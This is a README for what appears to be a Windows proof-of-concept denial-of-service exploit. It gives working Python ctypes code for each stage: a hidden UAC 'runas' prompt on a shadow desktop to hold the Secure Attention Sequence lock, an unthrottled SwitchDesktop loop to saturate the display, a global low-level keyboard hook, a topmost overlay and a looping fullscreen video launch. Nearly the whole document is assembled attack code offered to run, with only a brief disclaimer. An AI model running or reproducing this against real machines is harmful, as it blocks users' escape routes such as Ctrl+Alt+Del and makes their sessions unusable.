Files
DoS-on-SAS/README.md
T
2026-06-25 16:32:38 +00:00

8.2 KiB

PoC — SAS Desktop DoS via UAC Spoofing

A Windows proof-of-concept that demonstrates three security primitives in one payload:

  1. Hidden UAC elevation — a runas prompt fires on a shadow desktop the user never sees
  2. Desktop-switch DoS — rapid SwitchDesktop calls render the session unusable
  3. Global keyboard lock — a low-level hook swallows all input except Escape

Disclaimer: For authorised security research and CTF use only. Do not run against systems you do not own or have explicit written permission to test.


How It Works

1. Shadow Desktop + UAC SAS Block

Windows lets any process create additional desktops with CreateDesktopW. The trick is to switch to the shadow desktop, fire a UAC elevation prompt there, then immediately switch back. The user never sees the prompt — but more importantly, Windows holds the Secure Attention Sequence (SAS) lock for as long as the elevation is pending. This means Ctrl+Alt+Del and the secure desktop cannot preempt the session, blocking the user's primary escape route.

The desktop-switch DoS (toggle()) then hammers the CPU and display pipeline on top of that, preventing the system from stabilizing enough for the user to intervene. The two techniques are complementary: UAC is the lock, the toggle loop is the hammer.

h_poc = user32.CreateDesktopW("PoCSecureDesktop", None, None, 0x0001, 0x10000000, None)
h_def = user32.OpenDesktopW("Default", 0, False, 0x00000100)

def trigger():
    sei = SEI()
    sei.cbSize = ctypes.sizeof(SEI)
    sei.fMask  = 0x00000040
    sei.lpVerb = "runas"       # request elevation
    sei.lpFile = "cmd.exe"
    sei.lpParameters = "/c exit"
    sei.nShow  = 0
    shell32.ShellExecuteExW(ctypes.byref(sei))
    if sei.hProcess:
        kernel32.CloseHandle(sei.hProcess)

user32.SwitchDesktop(h_poc)                          # move to shadow desktop
threading.Thread(target=trigger, daemon=True).start() # UAC fires here
time.sleep(0.05)
user32.SwitchDesktop(h_def)                          # snap back before user notices

The 50 ms window is enough for ShellExecuteExW to dispatch the elevation request and acquire the SAS lock, while the default desktop remains visually unchanged to the user.


2. Desktop-Switch DoS

Once the SAS lock is held by the pending UAC prompt, the toggle loop runs at full CPU speed to prevent the system from recovering. Without the UAC, this still causes visible flickering — but the system can stabilize and the user can regain control. With it, there is no escape route to stabilize into.

def toggle():
    while not stop.is_set():
        user32.SwitchDesktop(h_poc)
        user32.SwitchDesktop(h_def)
        user32.SwitchDesktop(h_poc)
        user32.SwitchDesktop(h_def)
        user32.SwitchDesktop(h_poc)
        user32.SwitchDesktop(h_def)

threading.Thread(target=toggle, daemon=True).start()

Six switches per iteration, no sleep — the loop saturates the display pipeline.


3. Global Keyboard Hook

Hook type 13 is WH_KEYBOARD_LL — a system-wide low-level keyboard hook. Every keypress on the machine is routed through kb_proc before any other application sees it. The hook passes everything through untouched except for the single Escape (0x1B) keydown, which sets the stop event and begins teardown.

class KBDLLHOOKSTRUCT(ctypes.Structure):
    _fields_ = [("vkCode", ctypes.c_ulong), ("scanCode", ctypes.c_ulong),
                ("flags",  ctypes.c_ulong), ("time",     ctypes.c_ulong),
                ("dwExtraInfo", ctypes.POINTER(ctypes.c_ulong))]

@ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_int, ctypes.wintypes.WPARAM, ctypes.c_void_p)
def kb_proc(nCode, wParam, lParam):
    if nCode >= 0 and lParam:
        kb = ctypes.cast(lParam, ctypes.POINTER(KBDLLHOOKSTRUCT))[0]
        if kb.vkCode == 0x1B and not (kb.flags & 0x80):  # Escape keydown
            stop.set()
    return user32.CallNextHookEx(None, nCode, wParam, lParam)

The flags & 0x80 check masks out key-release events so the stop fires exactly once on keydown.

The hook requires its own message pump to receive events from the OS. A dedicated non-daemon thread keeps the process alive as long as the hook is active:

def hook_thread():
    h_kb = user32.SetWindowsHookExW(13, kb_proc, None, 0)
    hooks_ready.set()
    m = ctypes.wintypes.MSG()
    while not stop.is_set():
        if user32.PeekMessageW(ctypes.byref(m), None, 0, 0, 1):
            user32.TranslateMessage(ctypes.byref(m))
            user32.DispatchMessageW(ctypes.byref(m))
        time.sleep(0.0005)
    user32.UnhookWindowsHookEx(h_kb)

hooks_ready is a threading.Event that the main thread waits on before starting the toggle loop, guaranteeing the hook is installed before the DoS begins.


4. Overlay Window

A borderless, always-on-top popup sits pinned to the bottom of the screen and renders "Press Escape to Quit" in bold blue Arial (weight 900, size 80) on a black bar. It is repainted on every WM_PAINT (0x000F) message and repositioned every 50 ms to survive any window-manager interference.

@WNDPROCTYPE
def wnd_proc(hwnd, msg, wp, lp):
    if msg == 0x000F:   # WM_PAINT
        ps  = ctypes.create_string_buffer(72)
        hdc = user32.BeginPaint(hwnd, ps)
        user32.SetBkColor(hdc, 0x00000000)    # black background
        user32.SetTextColor(hdc, 0x000000FF)  # blue text (BGR)
        hf  = gdi32.CreateFontW(80, 0, 0, 0, 900, 0, 0, 0, 0, 0, 0, 0, 0, "Arial")
        old = gdi32.SelectObject(hdc, hf)
        gdi32.TextOutW(hdc, 20, 20, TEXT, len(TEXT))
        gdi32.SelectObject(hdc, old)
        gdi32.DeleteObject(hf)
        user32.EndPaint(hwnd, ps)
        return 0
    return user32.DefWindowProcW(hwnd, msg, wp, lp)

Window creation flags: WS_EX_TOPMOST | WS_EX_NOACTIVATE (0x8 | 0x80) for extended style, WS_POPUP | WS_VISIBLE (0x80000000 | 0x10000000) for style. Height is fixed at 120 px, width spans the full screen (GetSystemMetrics(0)).


5. Video Payload

mpv is preferred (precise flags), VLC is the first fallback, and the OS default handler is the last resort. All three are spawned with CREATE_NO_WINDOW (0x08000000) so no console flashes up.

if os.path.exists(mpv_path):
    subprocess.Popen([mpv_path, VIDEO_URL, "--fs", "--no-border", "--ontop", "--loop=yes"],
                     creationflags=0x08000000)
elif os.path.exists(vlc_path):
    subprocess.Popen([vlc_path, VIDEO_URL, "--fullscreen", "--no-video-title-show", "--loop"],
                     creationflags=0x08000000)
else:
    subprocess.Popen(["cmd.exe", "/c", "start", "/max", "", VIDEO_URL],
                     shell=False, creationflags=0x08000000)

6. Threading Model & Execution Order

Thread Daemon Role
hook_thread No Installs WH_KEYBOARD_LL, pumps messages, keeps process alive
overlay_thread Yes Owns the overlay HWND and its message loop
toggle Yes Rapid desktop switching loop
UAC trigger Yes One-shot ShellExecuteExW call

Execution order is carefully sequenced:

CreateDesktopW / OpenDesktopW
   └─ SwitchDesktop(h_poc) → trigger() → SwitchDesktop(h_def)   ← UAC fires hidden
       └─ Popen(video player)
           └─ hook_thread.start() + overlay_thread.start()
               └─ hooks_ready.wait()                              ← barrier
                   └─ toggle thread starts
                       └─ stop.wait()                             ← main thread blocks here
                           └─ cleanup: SwitchDesktop, CloseDesktop

Requirements

  • Windows 10 / 11
  • Python 3.x (no third-party packages — pure ctypes)
  • Optional: mpv or VLC for the video payload

Running

python poc_sas_dos.py

Press Escape to exit cleanly.


Security Concepts Demonstrated

Technique Windows API
Alternate desktop creation CreateDesktopW
SAS lock via hidden UAC ShellExecuteExW with lpVerb = "runas" on shadow desktop
Desktop switching DoS SwitchDesktop
Global input capture SetWindowsHookExW(WH_KEYBOARD_LL)
Topmost borderless overlay CreateWindowExW + SetWindowPos